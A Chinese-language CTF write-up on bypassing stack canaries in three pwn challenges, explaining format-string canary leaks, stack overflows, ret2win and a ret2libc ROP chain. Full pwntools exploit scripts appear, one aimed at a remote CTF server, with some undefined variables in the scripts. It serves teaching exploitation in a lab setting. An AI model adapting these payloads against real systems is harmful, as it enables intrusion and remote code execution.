Pwn-Canary保护

pwn1: ELF 32-bit LSB executable, Intel 80386, dynamically linked, not stripped

main:
  call init          → 关闭缓冲
  puts("Hello Hacker!")
  call vuln          → 执行核心逻辑

vuln:
  push ebp
  mov ebp, esp
  sub esp, 0x78           ← 分配 120 字节局部变量空间

  mov eax, gs:0x14        ← 读取 canary
  mov [ebp-0xc], eax      ← canary 放在 ebp-12 的位置

  movl $0, [ebp-0x74]     ← i = 0

loop:
  cmp [ebp-0x74], 1
  jle loop_body            ← i <= 1 就继续循环（共 2 次）

loop_body:
  read(0, buf, 0x200)     ← 读最多 512 字节到 buf
  printf(buf)              ← 把 buf 当格式串打印（！！！漏洞）
  i++
  jmp loop

canary_check:
  检查 canary → 通过则 leave; ret

高地址
          +------------------+
ebp+0x04  | 返回地址          |  ← 控制这里就能劫持程序
ebp+0x00  | 保存的 ebp        |
ebp-0x0c  | canary (4字节)    |  ← 必须保持原样，否则 crash
          | ...              |
ebp-0x70  | buf (112字节)     |  ← 我们的输入放这里
ebp-0x74  | 循环变量 i        |
低地址

getshell:
  push "/bin/sh"     ← 地址 0x804a008
  call system

发送：AAAAAAAA%6$08x

发送：%31$p

payload = fmtstr_payload(6, {printf_got: getshell_addr}, write_size='byte')

栈上本应该是：
|   canary   | fake_ebp  |  ret_gadget  |  getshell  |

用 sendline 后变成：
|   canary   | fake_ebp  |  ret_gadget  |  getshell  |  \n  ↑ 这里！
                                                      read 没读完，
                                                      但 leave;ret 已执行

from pwn import *

HOST = '39.96.193.120'
PORT = 10018
GETSHELL = 0x080491c6      # getshell 函数地址
RET = 0x080492b5            # ret 指令地址（用来凑栈对齐）

io = remote(HOST, PORT)
io.recvuntil(b'Hello Hacker!')
io.recvline()

# ========== 第 1 次输入：泄漏 canary ==========
io.sendline(b'%31$p')              # %31$p 打印 canary
canary_str = io.recvline().strip()
canary = int(canary_str, 16)      # 把字符串 "0xabcdef12" 转成整数
log.success(f'canary = {hex(canary)}')

# ========== 第 2 次输入：栈溢出 ==========
payload = b'A' * 0x64              # 填充 buf 到 canary 的距离（100 字节）
payload += p32(canary)             # canary（保持原样，否则 crash）
payload += p32(RET)                # 覆盖 saved_ebp（随便）
payload += p32(RET) * 3            # ret 滑梯（连跳 3 个 ret）
payload += p32(GET_SHELL)          # 最终跳转到 getshell

io.send(payload)                   # ← 必须用 send！不能用 sendline！
                                   #   多一个 \n 会破坏 payload 布局

io.interactive()                   # 进入交互模式，拿到 shell

'A'*100 + p32(canary) + p32(随便填) + p32(getshell)

printf(user_input);   // 漏洞写法
printf("%s", user_input);  // 安全写法

checksec --file=find_flag

Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled

objdump -d find_flag | grep -A 100 "1333:"

1229: endbr64
122d: push   rbp
122e: mov    rbp, rsp
1231: lea    rdi, "/bin/cat flag.txt"   ; 参数
1238: call   system                     ; system("/bin/cat flag.txt")
123d: nop
123e: pop   rbp
123f: ret

        buffer1     buffer2       canary    saved RBP   返回地址
        (32B)       (32B)         (8B)      (8B)        (8B)
      |-----------|-------------|---------|-----------|-----------|
rbp→  -0x60       -0x40        -0x8      0x0         +0x8
                               ★                  ★
                           需要泄漏          需要泄漏

buffer2 → [  0x38 填充  ][  Canary  ][  假 RBP  ][  ret  ][  win  ]
          rbp-0x40       rbp-0x8    rbp+0x0      rbp+0x8 rbp+0x10
                         ↓           ↓            ↓        ↓
                      原样填回      任意值       ret对齐    win 地址

pip install pwntools

from pwn import *    # 导入 pwntools 所有功能

# 设置目标架构为 amd64（64位）
context.arch = 'amd64'
# 日志级别设为 info（显示成功/错误信息，少一些干扰）
context.log_level = 'info'

# 加载 ELF 文件，获取符号信息
elf = ELF('./find_flag')

# 连接程序（本地测试用 process，打远程用 remote）
p = process('./find_flag')
# p = remote('node5.anna.nssctf.cn', 28586)  # 远程靶机

# 等待第二个提示
p.recvuntil(b"Anything else? ")

# 构造 payload：
# - 0x38 字节填充（从 buffer2 到 canary）
# - Canary（原样写回，绕过检查）
# - 8 字节假 RBP（任意值）
# - ret gadget（修复栈对齐）
# - win 函数地址
payload2 = b"A" * 0x38          # 填充 56 字节
payload2 += p64(canary)         # Canary（8 字节，小端序）
payload2 += b"B" * 8            # 假 RBP（8 字节）
payload2 += p64(ret_gadget)     # ret gadget（对齐用）
payload2 += p64(win_addr)       # win 函数地址

p.sendline(payload2)            # 发送 payload

# 进入交互模式，拿到 flag
p.interactive()

gdb ./find_flag
start                    # 启动程序，停在入口点
b *$rebase(0x13bb)       # 断在 printf(buffer1) 处，$rebase 自动加 PIE 基址
c                        # 继续运行

AAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p

stack 40      # 或 telescope $rsp 30

p/x 0x????...??00 & 0xff    # 结果应为 0x00，证明是 Canary

format_station: ELF 64-bit LSB executable, x86-64, dynamically linked, not stripped
Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
SHSTK:      Enabled
IBT:        Enabled

main:
  call init_io        ; 关闭缓冲
  call vuln           ; 漏洞函数

vuln:
  sub rsp, 0xe0
  mov [rbp-0x8], canary     ; 存储canary
  call read_canary           ; 从TLS读取canary到rax
  mov [rbp-0xe0], rax       ; 保存canary值

  ; 打印提示
  puts "ZeroG Format Station"
  puts "Send your format beacon:"

  ; 第一次read：格式化字符串漏洞
  lea rsi, [rbp-0x90]       ; 缓冲区1（format beacon）
  mov rdx, 0x7f             ; 最多读127字节
  call read

  ; printf漏洞！
  mov rdi, [rbp-0x90]       ; 格式字符串
  mov rsi, [rbp-0xe0]       ; 参数1 = canary
  mov rdx, 0x401080         ; 参数2 = puts@plt地址
  call printf               ; 格式化字符串漏洞！

  puts "Send your access packet:"

  ; 第二次read：栈溢出
  lea rsi, [rbp-0xd0]       ; 缓冲区2（access packet）
  mov rdx, 0x100            ; 最多读256字节
  call read

  ; canary检查 + 返回
  leave
  ret

[rbp-0xe0]  canary值（read_canary返回值）
[rbp-0xd0]  缓冲区2（access packet）← 第二次read
[rbp-0x90]  缓冲区1（format beacon）← 第一次read（printf格式字符串）
[rbp-0x8]   canary备份
[rbp]       saved rbp
[rbp+0x8]   返回地址

输入: %1$016lx.%2$p
输出: d48ad7a33fbf2400.0x401080
         ↑canary        ↑puts@plt（固定地址，无用）

printf(fmt, canary, puts@plt)
          ↓      ↓        ↓
         rdi    rsi      rdx

 void printf(const char *fmt, ...) {
      va_list args;
      va_start(args, fmt);    // args 指向 rsi（canary）的位置

      while (*fmt) {
          if (*fmt == '%' && *(fmt+1) == 'd') {
              int val = va_arg(args, int);  // 从 args 位置取一个值，然后 args 往后移
              print_int(val);
          } else if (*fmt == '%' && *(fmt+1) == 's') {
              char *s = va_arg(args, char*);
              print_string(s);
          } else {
              putchar(*fmt);  // 普通字符直接输出，不读参数
          }
          fmt++;
      }
  }

   1. 它不检查格式化字符串要求的参数数量是否和实际传入的一致
   2. 它不检查格式化字符串是否来自可信来源
   3. 它只是机械地按 % 符号从寄存器/栈上取值

ROP链: padding(0xc8) + canary + padding(8) + pop_rdi_ret + puts@GOT + puts@plt + main

libc_base = puts真实地址 - libc.symbols['puts']
system = libc_base + libc.symbols['system']
bin_sh = libc_base + 下一个"/bin/sh"的偏移

ROP链: padding(0xc8) + canary + padding(8) + ret + pop_rdi_ret + bin_sh + system

  printf(buf, canary, puts@plt);
  //      ↓
  //      puts@plt 这个地址在程序自己的代码段里
  //      但真正的 puts 代码在 libc.so.6 里

  程序调用 puts
      ↓
  进入 puts@plt（跳板，固定地址 0x401080）
      ↓
  查 GOT 表（存着 puts 的真实 libc 地址）
      ↓
  跳转到 libc.so.6 里的 puts 真实代码
      ↓
  执行 puts，返回

  本题的利用原理

  正是因为动态链接，GOT 表里存着 libc 的真实地址，我们才能泄露

阶段2: ROP 调用 puts(puts@GOT)
         ↓
         GOT 表里存着: 0x7f1234567980（puts 在 libc 中的真实地址）
         ↓
         把这个值泄露出来
         ↓
  阶段3: libc_base = 0x7f1234567980 - libc中puts的偏移
         system = libc_base + system的偏移
         /bin/sh = libc_base + /bin/sh的偏移

 你敲 ./format_station
      ↓
  内核加载程序到内存
      ↓
  看到程序头部写着: "我要 ld-2.36.so 来帮我链接"
      ↓
  内核先加载 ld-2.36.so（动态链接器）
      ↓
  把控制权交给 ld-2.36.so
      ↓
  ld-2.36.so 做这些事:
      1. 加载 libc.so.6 到内存
      2. 找到 puts、printf、system 在 libc 里的地址
      3. 把这些地址填到程序的 GOT 表里
      4. 跳到程序的 main 开始执行
      ↓
  程序运行时:
      调用 puts@plt → 查 GOT 表 → 跳到 libc 里的 puts

原程序写的: "我要 /lib64/ld-linux-x86-64.so.2"
                ↑ 系统默认的动态链接器

patchelf --set-interpreter ./ld-2.36.so format_station
      ↓
      改成: "我要当前目录下的 ld-2.36.so"
      ↓
      保证链接器和 libc 版本一致

readelf -l format_station | grep interpreter

[Requesting program interpreter: ./ld-2.36.so]

Program Headers:
 Type           Offset             VirtAddr           PhysAddr
                FileSiz            MemSiz              Flags  Align
 INTERP         0x0000000000000318 0x0000000000400318 0x0000000000400318
                0x000000000000001c 0x000000000000001c  R      0x1
     [Requesting program interpreter: ./ld-2.36.so]
                   ↑ 这就是它要的动态链接器

readelf -l format_station | grep interpreter

strings libc.so.6 | grep "stable release"

git clone https://github.com/nickglibc/glibc-all-in-one.git
cd glibc-all-in-one
./build 2.36